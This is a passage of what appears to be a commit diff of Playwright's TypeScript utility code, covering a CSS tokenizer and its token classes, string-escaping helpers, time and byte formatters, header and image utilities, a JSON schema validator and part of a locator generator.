while (digit(next())) {
consume();
repr += stringFromCode(code);
}
} else if ((c1 === 0x45 || c1 === 0x65) && (c2 === 0x2b || c2 === 0x2d) && digit(c3)) {
consume();
repr += stringFromCode(code);
consume();
repr += stringFromCode(code);
consume();
repr += stringFromCode(code);
type = 'number';
while (digit(next())) {
consume();
repr += stringFromCode(code);
}
}
const value = convertAStringToANumber(repr);
return { type: type, value: value, repr: repr };
};
const convertAStringToANumber = function(string: string): number {
// CSS's number rules are identical to JS, afaik.
return +string;
};
const consumeTheRemnantsOfABadURL = function() {
while (consume()) {
if (code === 0x29 || eof()) {
return;
} else if (startsWithAValidEscape()) {
consumeEscape();
donothing();
} else {
donothing();
}
}
};
let iterationCount = 0;
while (!eof(next())) {
tokens.push(consumeAToken());
iterationCount++;
if (iterationCount > str.length * 2)
throw new Error("I'm infinite-looping!");
}
return tokens;
}
export class CSSParserToken implements CSSTokenInterface {
tokenType = '';
value: string | number | undefined;
toJSON(): any {
return { token: this.tokenType };
}
toString() { return this.tokenType; }
toSource() { return '' + this; }
}
export class BadStringToken extends CSSParserToken {
override tokenType = 'BADSTRING';
}
export class BadURLToken extends CSSParserToken {
override tokenType = 'BADURL';
}
export class WhitespaceToken extends CSSParserToken {
override tokenType = 'WHITESPACE';
override toString() { return 'WS'; }
override toSource() { return ' '; }
}
export class CDOToken extends CSSParserToken {
override tokenType = 'CDO';
override toSource() { return '<!--'; }
}
export class CDCToken extends CSSParserToken {
override tokenType = 'CDC';
override toSource() { return '-->'; }
}
export class ColonToken extends CSSParserToken {
override tokenType = ':';
}
export class SemicolonToken extends CSSParserToken {
override tokenType = ';';
}
export class CommaToken extends CSSParserToken {
override tokenType = ',';
}
export class GroupingToken extends CSSParserToken {
override value = '';
mirror = '';
}
export class OpenCurlyToken extends GroupingToken {
override tokenType = '{';
constructor() {
super();
this.value = '{';
this.mirror = '}';
}
}
export class CloseCurlyToken extends GroupingToken {
override tokenType = '}';
constructor() {
super();
this.value = '}';
this.mirror = '{';
}
}
export class OpenSquareToken extends GroupingToken {
override tokenType = '[';
constructor() {
super();
this.value = '[';
this.mirror = ']';
}
}
export class CloseSquareToken extends GroupingToken {
override tokenType = ']';
constructor() {
super();
this.value = ']';
this.mirror = '[';
}
}
export class OpenParenToken extends GroupingToken {
override tokenType = '(';
constructor() {
super();
this.value = '(';
this.mirror = ')';
}
}
export class CloseParenToken extends GroupingToken {
override tokenType = ')';
constructor() {
super();
this.value = ')';
this.mirror = '(';
}
}
export class IncludeMatchToken extends CSSParserToken {
override tokenType = '~=';
}
export class DashMatchToken extends CSSParserToken {
override tokenType = '|=';
}
export class PrefixMatchToken extends CSSParserToken {
override tokenType = '^=';
}
export class SuffixMatchToken extends CSSParserToken {
override tokenType = '$=';
}
export class SubstringMatchToken extends CSSParserToken {
override tokenType = '*=';
}
export class ColumnToken extends CSSParserToken {
override tokenType = '||';
}
export class EOFToken extends CSSParserToken {
override tokenType = 'EOF';
override toSource() { return ''; }
}
export class DelimToken extends CSSParserToken {
override tokenType = 'DELIM';
override value: string = '';
constructor(code: number) {
super();
this.value = stringFromCode(code);
}
override toString() { return 'DELIM(' + this.value + ')'; }
override toJSON() {
const json = this.constructor.prototype.constructor.prototype.toJSON.call(this);
json.value = this.value;
return json;
}
override toSource() {
if (this.value === '\\')
return '\\\n';
else
return this.value;
}
}
export abstract class StringValuedToken extends CSSParserToken {
override value: string = '';
ASCIIMatch(str: string) {
return this.value.toLowerCase() === str.toLowerCase();
}
override toJSON() {
const json = this.constructor.prototype.constructor.prototype.toJSON.call(this);
json.value = this.value;
return json;
}
}
export class IdentToken extends StringValuedToken {
constructor(val: string) {
super();
this.value = val;
}
override tokenType = 'IDENT';
override toString() { return 'IDENT(' + this.value + ')'; }
override toSource() {
return escapeIdent(this.value);
}
}
export class FunctionToken extends StringValuedToken {
override tokenType = 'FUNCTION';
mirror: string;
constructor(val: string) {
super();
this.value = val;
this.mirror = ')';
}
override toString() { return 'FUNCTION(' + this.value + ')'; }
override toSource() {
return escapeIdent(this.value) + '(';
}
}
export class AtKeywordToken extends StringValuedToken {
override tokenType = 'AT-KEYWORD';
constructor(val: string) {
super();
this.value = val;
}
override toString() { return 'AT(' + this.value + ')'; }
override toSource() {
return '@' + escapeIdent(this.value);
}
}
export class HashToken extends StringValuedToken {
override tokenType = 'HASH';
type: string;
constructor(val: string) {
super();
this.value = val;
this.type = 'unrestricted';
}
override toString() { return 'HASH(' + this.value + ')'; }
override toJSON() {
const json = this.constructor.prototype.constructor.prototype.toJSON.call(this);
json.value = this.value;
json.type = this.type;
return json;
}
override toSource() {
if (this.type === 'id')
return '#' + escapeIdent(this.value);
else
return '#' + escapeHash(this.value);
}
}
export class StringToken extends StringValuedToken {
override tokenType = 'STRING';
constructor(val: string) {
super();
this.value = val;
}
override toString() {
return '"' + escapeString(this.value) + '"';
}
}
export class URLToken extends StringValuedToken {
override tokenType = 'URL';
constructor(val: string) {
super();
this.value = val;
}
override toString() { return 'URL(' + this.value + ')'; }
override toSource() {
return 'url("' + escapeString(this.value) + '")';
}
}
export class NumberToken extends CSSParserToken {
override tokenType = 'NUMBER';
type: string;
repr: string;
constructor() {
super();
this.type = 'integer';
this.repr = '';
}
override toString() {
if (this.type === 'integer')
return 'INT(' + this.value + ')';
return 'NUMBER(' + this.value + ')';
}
override toJSON() {
const json = super.toJSON();
json.value = this.value;
json.type = this.type;
json.repr = this.repr;
return json;
}
override toSource() { return this.repr; }
}
export class PercentageToken extends CSSParserToken {
override tokenType = 'PERCENTAGE';
repr: string;
constructor() {
super();
this.repr = '';
}
override toString() { return 'PERCENTAGE(' + this.value + ')'; }
override toJSON() {
const json = this.constructor.prototype.constructor.prototype.toJSON.call(this);
json.value = this.value;
json.repr = this.repr;
return json;
}
override toSource() { return this.repr + '%'; }
}
export class DimensionToken extends CSSParserToken {
override tokenType = 'DIMENSION';
type: string;
repr: string;
unit: string;
constructor() {
super();
this.type = 'integer';
this.repr = '';
this.unit = '';
}
override toString() { return 'DIM(' + this.value + ',' + this.unit + ')'; }
override toJSON() {
const json = this.constructor.prototype.constructor.prototype.toJSON.call(this);
json.value = this.value;
json.type = this.type;
json.repr = this.repr;
json.unit = this.unit;
return json;
}
override toSource() {
const source = this.repr;
let unit = escapeIdent(this.unit);
if (unit[0].toLowerCase() === 'e' && (unit[1] === '-' || between(unit.charCodeAt(1), 0x30, 0x39))) {
// Unit is ambiguous with scinot
// Remove the leading "e", replace with escape.
unit = '\\65 ' + unit.slice(1, unit.length);
}
return source + unit;
}
}
function escapeIdent(string: string) {
string = '' + string;
let result = '';
const firstcode = string.charCodeAt(0);
for (let i = 0; i < string.length; i++) {
const code = string.charCodeAt(i);
if (code === 0x0)
throw new InvalidCharacterError('Invalid character: the input contains U+0000.');
if (
between(code, 0x1, 0x1f) || code === 0x7f ||
(i === 0 && between(code, 0x30, 0x39)) ||
(i === 1 && between(code, 0x30, 0x39) && firstcode === 0x2d)
)
result += '\\' + code.toString(16) + ' ';
else if (
code >= 0x80 ||
code === 0x2d ||
code === 0x5f ||
between(code, 0x30, 0x39) ||
between(code, 0x41, 0x5a) ||
between(code, 0x61, 0x7a)
)
result += string[i];
else
result += '\\' + string[i];
}
return result;
}
function escapeHash(string: string) {
// Escapes the contents of "unrestricted"-type hash tokens.
// Won't preserve the ID-ness of "id"-type hash tokens;
// use escapeIdent() for that.
string = '' + string;
let result = '';
for (let i = 0; i < string.length; i++) {
const code = string.charCodeAt(i);
if (code === 0x0)
throw new InvalidCharacterError('Invalid character: the input contains U+0000.');
if (
code >= 0x80 ||
code === 0x2d ||
code === 0x5f ||
between(code, 0x30, 0x39) ||
between(code, 0x41, 0x5a) ||
between(code, 0x61, 0x7a)
)
result += string[i];
else
result += '\\' + code.toString(16) + ' ';
}
return result;
}
function escapeString(string: string) {
string = '' + string;
let result = '';
for (let i = 0; i < string.length; i++) {
const code = string.charCodeAt(i);
if (code === 0x0)
throw new InvalidCharacterError('Invalid character: the input contains U+0000.');
if (between(code, 0x1, 0x1f) || code === 0x7f)
result += '\\' + code.toString(16) + ' ';
else if (code === 0x22 || code === 0x5c)
result += '\\' + string[i];
else
result += string[i];
}
return result;
}
@@ -0,0 +1,29 @@
/**
* Copyright (c) Microsoft Corporation.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
import { isRegExp, isString } from './rtti';
import type { ExpectedTextValue } from '@protocol/channels';
export function serializeExpectedTextValues(items: (string | RegExp)[], options: { matchSubstring?: boolean, normalizeWhiteSpace?: boolean, ignoreCase?: boolean } = {}): ExpectedTextValue[] {
return items.map(i => ({
string: isString(i) ? i : undefined,
regexSource: isRegExp(i) ? i.source : undefined,
regexFlags: isRegExp(i) ? i.flags : undefined,
matchSubstring: options.matchSubstring,
ignoreCase: options.ignoreCase,
normalizeWhiteSpace: options.normalizeWhiteSpace,
}));
}
@@ -0,0 +1,63 @@
/**
* Copyright (c) Microsoft Corporation.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
export function msToString(ms: number): string {
if (ms < 0 || !isFinite(ms))
return '-';
if (ms === 0)
return '0ms';
if (ms < 1000)
return ms.toFixed(0) + 'ms';
const seconds = ms / 1000;
if (seconds < 60)
return seconds.toFixed(1) + 's';
const minutes = seconds / 60;
if (minutes < 60)
return minutes.toFixed(1) + 'm';
const hours = minutes / 60;
if (hours < 24)
return hours.toFixed(1) + 'h';
const days = hours / 24;
return days.toFixed(1) + 'd';
}
export function bytesToString(bytes: number): string {
if (bytes < 0 || !isFinite(bytes))
return '-';
if (bytes === 0)
return '0';
if (bytes < 1000)
return bytes.toFixed(0);
const kb = bytes / 1024;
if (kb < 1000)
return kb.toFixed(1) + 'K';
const mb = kb / 1024;
if (mb < 1000)
return mb.toFixed(1) + 'M';
const gb = mb / 1024;
return gb.toFixed(1) + 'G';
}
@@ -0,0 +1,44 @@
/**
* Copyright (c) Microsoft Corporation.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
type HeadersArray = { name: string, value: string }[];
type HeadersObject = { [key: string]: string };
export function headersObjectToArray(headers: HeadersObject, separator?: string, setCookieSeparator?: string): HeadersArray {
if (!setCookieSeparator)
setCookieSeparator = separator;
const result: HeadersArray = [];
for (const name in headers) {
const values = headers[name];
if (values === undefined)
continue;
if (separator) {
const sep = name.toLowerCase() === 'set-cookie' ? setCookieSeparator : separator;
for (const value of values.split(sep!))
result.push({ name, value: value.trim() });
} else {
result.push({ name, value: values });
}
}
return result;
}
export function headersArrayToObject(headers: HeadersArray, lowerCase: boolean): HeadersObject {
const result: HeadersObject = {};
for (const { name, value } of headers)
result[lowerCase ? name.toLowerCase() : name] = value;
return result;
}
@@ -0,0 +1,138 @@
/**
* Copyright (c) Microsoft Corporation.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
export type ImageData = { width: number, height: number, data: Buffer };
export function padImageToSize(image: ImageData, size: { width: number, height: number }): ImageData {
if (image.width === size.width && image.height === size.height)
return image;
const buffer = new Uint8Array(size.width * size.height * 4);
for (let y = 0; y < size.height; y++) {
for (let x = 0; x < size.width; x++) {
const to = (y * size.width + x) * 4;
if (y < image.height && x < image.width) {
const from = (y * image.width + x) * 4;
buffer[to] = image.data[from];
buffer[to + 1] = image.data[from + 1];
buffer[to + 2] = image.data[from + 2];
buffer[to + 3] = image.data[from + 3];
} else {
buffer[to] = 0;
buffer[to + 1] = 0;
buffer[to + 2] = 0;
buffer[to + 3] = 0;
}
}
}
return { data: Buffer.from(buffer), width: size.width, height: size.height };
}
export function scaleImageToSize(image: ImageData, size: { width: number; height: number }): ImageData {
const { data: src, width: w1, height: h1 } = image;
const w2 = Math.max(1, Math.floor(size.width));
const h2 = Math.max(1, Math.floor(size.height));
if (w1 === w2 && h1 === h2)
return image;
if (w1 <= 0 || h1 <= 0)
throw new Error('Invalid input image');
if (size.width <= 0 || size.height <= 0 || !isFinite(size.width) || !isFinite(size.height))
throw new Error('Invalid output dimensions');
const clamp = (v: number, lo: number, hi: number) => (v < lo ? lo : v > hi ? hi : v);
// Catmull–Rom weights
const weights = (t: number, o: Float32Array) => {
const t2 = t * t, t3 = t2 * t;
o[0] = -0.5 * t + 1.0 * t2 - 0.5 * t3;
o[1] = 1.0 - 2.5 * t2 + 1.5 * t3;
o[2] = 0.5 * t + 2.0 * t2 - 1.5 * t3;
o[3] = -0.5 * t2 + 0.5 * t3;
};
const srcRowStride = w1 * 4;
const dstRowStride = w2 * 4;
// Precompute X: indices, weights, and byte offsets (idx*4)
const xOff = new Int32Array(w2 * 4); // byte offsets = xIdx*4
const xW = new Float32Array(w2 * 4);
const wx = new Float32Array(4);
const xScale = w1 / w2;
for (let x = 0; x < w2; x++) {
const sx = (x + 0.5) * xScale - 0.5;
const sxi = Math.floor(sx);
const t = sx - sxi;
weights(t, wx);
const b = x * 4;
const i0 = clamp(sxi - 1, 0, w1 - 1);
const i1 = clamp(sxi + 0, 0, w1 - 1);
const i2 = clamp(sxi + 1, 0, w1 - 1);
const i3 = clamp(sxi + 2, 0, w1 - 1);
xOff[b + 0] = i0 << 2; xOff[b + 1] = i1 << 2; xOff[b + 2] = i2 << 2; xOff[b + 3] = i3 << 2;
xW[b + 0] = wx[0]; xW[b + 1] = wx[1]; xW[b + 2] = wx[2]; xW[b + 3] = wx[3];
}
// Precompute Y: indices, weights, and row-base byte offsets (y*rowStride)
const yRow = new Int32Array(h2 * 4); // row base in bytes
const yW = new Float32Array(h2 * 4);
const wy = new Float32Array(4);
const yScale = h1 / h2;
for (let y = 0; y < h2; y++) {
const sy = (y + 0.5) * yScale - 0.5;
const syi = Math.floor(sy);
const t = sy - syi;
weights(t, wy);
const b = y * 4;
const j0 = clamp(syi - 1, 0, h1 - 1);
const j1 = clamp(syi + 0, 0, h1 - 1);
const j2 = clamp(syi + 1, 0, h1 - 1);
const j3 = clamp(syi + 2, 0, h1 - 1);
yRow[b + 0] = j0 * srcRowStride;
yRow[b + 1] = j1 * srcRowStride;
yRow[b + 2] = j2 * srcRowStride;
yRow[b + 3] = j3 * srcRowStride;
yW[b + 0] = wy[0]; yW[b + 1] = wy[1]; yW[b + 2] = wy[2]; yW[b + 3] = wy[3];
}
const dst = new Uint8Array(w2 * h2 * 4);
for (let y = 0; y < h2; y++) {
const yb = y * 4;
const rb0 = yRow[yb + 0], rb1 = yRow[yb + 1], rb2 = yRow[yb + 2], rb3 = yRow[yb + 3];
const wy0 = yW[yb + 0], wy1 = yW[yb + 1], wy2 = yW[yb + 2], wy3 = yW[yb + 3];
const dstBase = y * dstRowStride;
for (let x = 0; x < w2; x++) {
const xb = x * 4;
const xo0 = xOff[xb + 0], xo1 = xOff[xb + 1], xo2 = xOff[xb + 2], xo3 = xOff[xb + 3];
const wx0 = xW[xb + 0], wx1 = xW[xb + 1], wx2 = xW[xb + 2], wx3 = xW[xb + 3];
const di = dstBase + (x << 2);
// unrolled RGBA
for (let c = 0; c < 4; c++) {
const r0 = src[rb0 + xo0 + c] * wx0 + src[rb0 + xo1 + c] * wx1 + src[rb0 + xo2 + c] * wx2 + src[rb0 + xo3 + c] * wx3;
const r1 = src[rb1 + xo0 + c] * wx0 + src[rb1 + xo1 + c] * wx1 + src[rb1 + xo2 + c] * wx2 + src[rb1 + xo3 + c] * wx3;
const r2 = src[rb2 + xo0 + c] * wx0 + src[rb2 + xo1 + c] * wx1 + src[rb2 + xo2 + c] * wx2 + src[rb2 + xo3 + c] * wx3;
const r3 = src[rb3 + xo0 + c] * wx0 + src[rb3 + xo1 + c] * wx1 + src[rb3 + xo2 + c] * wx2 + src[rb3 + xo3 + c] * wx3;
const v = r0 * wy0 + r1 * wy1 + r2 * wy2 + r3 * wy3;
dst[di + c] = v < 0 ? 0 : v > 255 ? 255 : v | 0;
}
}
}
return { data: Buffer.from(dst.buffer), width: w2, height: h2 };
}
@@ -0,0 +1,46 @@
/**
* Copyright (c) Microsoft Corporation.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
export * from './ariaSnapshot';
export * from './expectUtils';
export * from './assert';
export * from './colors';
export * from './headers';
export * from './imageUtils';
export * from './jsonSchema';
export * from './locatorGenerators';
export * from './manualPromise';
export * from './mimeType';
export * from './multimap';
export * from './protocolFormatter';
export * from './protocolMetainfo';
export * from './rtti';
export * from './semaphore';
export * from './stackTrace';
export * from './stringUtils';
export * from './formatUtils';
export * from './time';
export * from './timeoutRunner';
export * from './trace/snapshotServer';
export * from './urlMatch';
export * from './cssParser';
export * from './locatorParser';
export * from './selectorParser';
export * from './trace/snapshotStorage';
export * from './trace/traceLoader';
export * from './trace/traceModel';
export * from './trace/traceUtils';
export * from './yaml';
@@ -0,0 +1,97 @@
/**
* Copyright (c) Microsoft Corporation.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
export type JsonSchema = {
type?: string;
properties?: Record<string, JsonSchema>;
required?: string[];
items?: JsonSchema;
oneOf?: JsonSchema[];
pattern?: string;
patternError?: string;
};
const regexCache = new Map<string, RegExp>();
export function validate(value: unknown, schema: JsonSchema, path: string): string[] {
const errors: string[] = [];
if (schema.oneOf) {
let bestErrors: string[] | undefined;
for (const variant of schema.oneOf) {
const variantErrors = validate(value, variant, path);
if (variantErrors.length === 0)
return [];
// Prefer the variant with fewest errors (closest match).
if (!bestErrors || variantErrors.length < bestErrors.length)
bestErrors = variantErrors;
}
// If the best match has only top-level type mismatches, use a generic message.
if (bestErrors!.length === 1 && bestErrors![0].startsWith(`${path}: expected `))
return [`${path}: does not match any of the expected types`];
return bestErrors!;
}
if (schema.type === 'string') {
if (typeof value !== 'string') {
errors.push(`${path}: expected string, got ${typeof value}`);
return errors;
}
if (schema.pattern && !cachedRegex(schema.pattern).test(value))
errors.push(schema.patternError || `${path}: must match pattern "${schema.pattern}"`);
return errors;
}
if (schema.type === 'array') {
if (!Array.isArray(value)) {
errors.push(`${path}: expected array, got ${typeof value}`);
return errors;
}
if (schema.items) {
for (let i = 0; i < value.length; i++)
errors.push(...validate(value[i], schema.items, `${path}[${i}]`));
}
return errors;
}
if (schema.type === 'object') {
if (!value || typeof value !== 'object' || Array.isArray(value)) {
errors.push(`${path}: expected object, got ${Array.isArray(value) ? 'array' : typeof value}`);
return errors;
}
const obj = value as Record<string, unknown>;
for (const key of schema.required || []) {
if (obj[key] === undefined)
errors.push(`${path}.${key}: required`);
}
for (const [key, propSchema] of Object.entries(schema.properties || {})) {
if (obj[key] !== undefined)
errors.push(...validate(obj[key], propSchema, `${path}.${key}`));
}
return errors;
}
return errors;
}
function cachedRegex(pattern: string): RegExp {
let regex = regexCache.get(pattern);
if (!regex) {
regex = new RegExp(pattern);
regexCache.set(pattern, regex);
}
return regex;
}
@@ -0,0 +1,733 @@
/**
* Copyright (c) Microsoft Corporation.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
import { parseAttributeSelector, parseSelector, stringifySelector } from './selectorParser';
import { escapeWithQuotes, normalizeEscapedRegexQuotes, toSnakeCase, toTitleCase } from './stringUtils';
import type { NestedSelectorBody } from './selectorParser';
import type { ParsedSelector } from './selectorParser';
export type Language = 'javascript' | 'python' | 'java' | 'csharp' | 'jsonl';
export type LocatorType = 'default' | 'role' | 'text' | 'label' | 'placeholder' | 'alt' | 'title' | 'test-id' | 'nth' | 'first' | 'last' | 'visible' | 'has-text' | 'has-not-text' | 'has' | 'hasNot' | 'frame' | 'frame-locator' | 'and' | 'or' | 'chain';
export type LocatorBase = 'page' | 'locator' | 'frame-locator';
export type Quote = '\'' | '"' | '`';
type LocatorOptions = {
attrs?: { name: string, value: string | boolean | number }[],
exact?: boolean,
name?: string | RegExp,
hasText?: string | RegExp,
hasNotText?: string | RegExp,
};
export interface LocatorFactory {
generateLocator(base: LocatorBase, kind: LocatorType, body: string | RegExp, options?: LocatorOptions): string;
chainLocators(locators: string[]): string;
}
export function asLocatorDescription(lang: Language, selector: string): string {
try {
const parsed = parseSelector(selector);
const customDescription = parseCustomDescription(parsed);
if (customDescription)
return customDescription;
return innerAsLocators(new generators[lang](), parsed, false, 1)[0];
} catch (e) {
// Tolerate invalid input.
return selector;
}
}
export function locatorCustomDescription(selector: string): string | undefined {
try {
const parsed = parseSelector(selector);
return parseCustomDescription(parsed);
} catch (e) {
return undefined;
}
}
function parseCustomDescription(parsed: ParsedSelector): string | undefined {
const lastPart = parsed.parts[parsed.parts.length - 1];
if (lastPart?.name === 'internal:describe') {
const description = JSON.parse(lastPart.body as string);
if (typeof description === 'string')
return description;
}
return undefined;
}
export function asLocator(lang: Language, selector: string, isFrameLocator: boolean = false): string {
return asLocators(lang, selector, isFrameLocator, 1)[0];
}
export function asLocators(lang: Language, selector: string, isFrameLocator: boolean = false, maxOutputSize = 20, preferredQuote?: Quote): string[] {
try {
return innerAsLocators(new generators[lang](preferredQuote), parseSelector(selector), isFrameLocator, maxOutputSize);
} catch (e) {
// Tolerate invalid input.
return [selector];
}
}
function innerAsLocators(factory: LocatorFactory, parsed: ParsedSelector, isFrameLocator: boolean = false, maxOutputSize = 20): string[] {
const parts = [...parsed.parts];
const tokens: string[][] = [];
let nextBase: LocatorBase = isFrameLocator ? 'frame-locator' : 'page';
for (let index = 0; index < parts.length; index++) {
const part = parts[index];
const base = nextBase;
nextBase = 'locator';
if (part.name === 'internal:describe')
continue;
if (part.name === 'nth') {
if (part.body === '0')
tokens.push([factory.generateLocator(base, 'first', ''), factory.generateLocator(base, 'nth', '0')]);
else if (part.body === '-1')
tokens.push([factory.generateLocator(base, 'last', ''), factory.generateLocator(base, 'nth', '-1')]);
else
tokens.push([factory.generateLocator(base, 'nth', part.body as string)]);
continue;
}
if (part.name === 'visible') {
tokens.push([factory.generateLocator(base, 'visible', part.body as string), factory.generateLocator(base, 'default', `visible=${part.body}`)]);
continue;
}
if (part.name === 'internal:text') {
const { exact, text } = detectExact(part.body as string);
tokens.push([factory.generateLocator(base, 'text', text, { exact })]);
continue;
}
if (part.name === 'internal:has-text') {
const { exact, text } = detectExact(part.body as string);
// There is no locator equivalent for strict has-text, leave it as is.
if (!exact) {
tokens.push([factory.generateLocator(base, 'has-text', text, { exact })]);
continue;
}
}
if (part.name === 'internal:has-not-text') {
const { exact, text } = detectExact(part.body as string);
// There is no locator equivalent for strict has-not-text, leave it as is.
if (!exact) {
tokens.push([factory.generateLocator(base, 'has-not-text', text, { exact })]);
continue;
}
}
if (part.name === 'internal:has') {
const inners = innerAsLocators(factory, (part.body as NestedSelectorBody).parsed, false, maxOutputSize);
tokens.push(inners.map(inner => factory.generateLocator(base, 'has', inner)));
continue;
}
if (part.name === 'internal:has-not') {
const inners = innerAsLocators(factory, (part.body as NestedSelectorBody).parsed, false, maxOutputSize);
tokens.push(inners.map(inner => factory.generateLocator(base, 'hasNot', inner)));
continue;
}
if (part.name === 'internal:and') {
const inners = innerAsLocators(factory, (part.body as NestedSelectorBody).parsed, false, maxOutputSize);
tokens.push(inners.map(inner => factory.generateLocator(base, 'and', inner)));
continue;
}
if (part.name === 'internal:or') {
const inners = innerAsLocators(factory, (part.body as NestedSelectorBody).parsed, false, maxOutputSize);
tokens.push(inners.map(inner => factory.generateLocator(base, 'or', inner)));
continue;
}
if (part.name === 'internal:chain') {
const inners = innerAsLocators(factory, (part.body as NestedSelectorBody).parsed, false, maxOutputSize);
tokens.push(inners.map(inner => factory.generateLocator(base, 'chain', inner)));
continue;
}
if (part.name === 'internal:label') {
const { exact, text } = detectExact(part.body as string);
tokens.push([factory.generateLocator(base, 'label', text, { exact })]);
continue;
}
if (part.name === 'internal:role') {
const attrSelector = parseAttributeSelector(part.body as string, true);
const options: LocatorOptions = { attrs: [] };
for (const attr of attrSelector.attributes) {
if (attr.name === 'name') {
options.exact = attr.caseSensitive;
options.name = attr.value;
} else {
if (attr.name === 'level' && typeof attr.value === 'string')
attr.value = +attr.value;
options.attrs!.push({ name: attr.name === 'include-hidden' ? 'includeHidden' : attr.name, value: attr.value });
}
}
tokens.push([factory.generateLocator(base, 'role', attrSelector.name, options)]);
continue;
}
if (part.name === 'internal:testid') {
const attrSelector = parseAttributeSelector(part.body as string, true);
const { value } = attrSelector.attributes[0];
tokens.push([factory.generateLocator(base, 'test-id', value)]);
continue;
}
if (part.name === 'internal:attr') {
const attrSelector = parseAttributeSelector(part.body as string, true);
const { name, value, caseSensitive } = attrSelector.attributes[0];
const text = value as string | RegExp;
const exact = !!caseSensitive;
if (name === 'placeholder') {
tokens.push([factory.generateLocator(base, 'placeholder', text, { exact })]);
continue;
}
if (name === 'alt') {
tokens.push([factory.generateLocator(base, 'alt', text, { exact })]);
continue;
}
if (name === 'title') {
tokens.push([factory.generateLocator(base, 'title', text, { exact })]);
continue;
}
}
if (part.name === 'internal:control' && (part.body as string) === 'enter-frame') {
// transform last tokens from `${selector}` into `${selector}.contentFrame()` and `frameLocator(${selector})`
const lastTokens = tokens[tokens.length - 1];
const lastPart = parts[index - 1];
const transformed = lastTokens.map(token => factory.chainLocators([token, factory.generateLocator(base, 'frame', '')]));
if (['xpath', 'css'].includes(lastPart.name)) {
transformed.push(
factory.generateLocator(base, 'frame-locator', stringifySelector({ parts: [lastPart] })),
factory.generateLocator(base, 'frame-locator', stringifySelector({ parts: [lastPart] }, true))
);
}
lastTokens.splice(0, lastTokens.length, ...transformed);
nextBase = 'frame-locator';
continue;
}
const nextPart = parts[index + 1];
const selectorPart = stringifySelector({ parts: [part] });
const locatorPart = factory.generateLocator(base, 'default', selectorPart);
if (nextPart && ['internal:has-text', 'internal:has-not-text'].includes(nextPart.name)) {
const { exact, text } = detectExact(nextPart.body as string);
// There is no locator equivalent for strict has-text and has-not-text, leave it as is.
if (!exact) {
const nextLocatorPart = factory.generateLocator('locator', nextPart.name === 'internal:has-text' ? 'has-text' : 'has-not-text', text, { exact });
const options: LocatorOptions = {};
if (nextPart.name === 'internal:has-text')
options.hasText = text;
else
options.hasNotText = text;
const combinedPart = factory.generateLocator(base, 'default', selectorPart, options);
// Two options:
// - locator('div').filter({ hasText: 'foo' })
// - locator('div', { hasText: 'foo' })
tokens.push([factory.chainLocators([locatorPart, nextLocatorPart]), combinedPart]);
index++;
continue;
}
}
// Selectors can be prefixed with engine name, e.g. xpath=//foo
let locatorPartWithEngine: string | undefined;
if (['xpath', 'css'].includes(part.name)) {
const selectorPart = stringifySelector({ parts: [part] }, /* forceEngineName */ true);
locatorPartWithEngine = factory.generateLocator(base, 'default', selectorPart);
}
tokens.push([locatorPart, locatorPartWithEngine].filter(Boolean) as string[]);
}
return combineTokens(factory, tokens, maxOutputSize);
}
function combineTokens(factory: LocatorFactory, tokens: string[][], maxOutputSize: number): string[] {
const currentTokens = tokens.map(() => '');
const result: string[] = [];
const visit = (index: number) => {
if (index === tokens.length) {
result.push(factory.chainLocators(currentTokens));
return result.length < maxOutputSize;
}
for (const taken of tokens[index]) {
currentTokens[index] = taken;
if (!visit(index + 1))
return false;
}
return true;
};
visit(0);
return result;
}
function detectExact(text: string): { exact?: boolean, text: string | RegExp } {
let exact = false;
const match = text.match(/^\/(.*)\/([igm]*)$/);
if (match)
return { text: new RegExp(match[1], match[2]) };
if (text.endsWith('"')) {
text = JSON.parse(text);
exact = true;
} else if (text.endsWith('"s')) {
text = JSON.parse(text.substring(0, text.length - 1));
exact = true;
} else if (text.endsWith('"i')) {
text = JSON.parse(text.substring(0, text.length - 1));
exact = false;
}
return { exact, text };
}
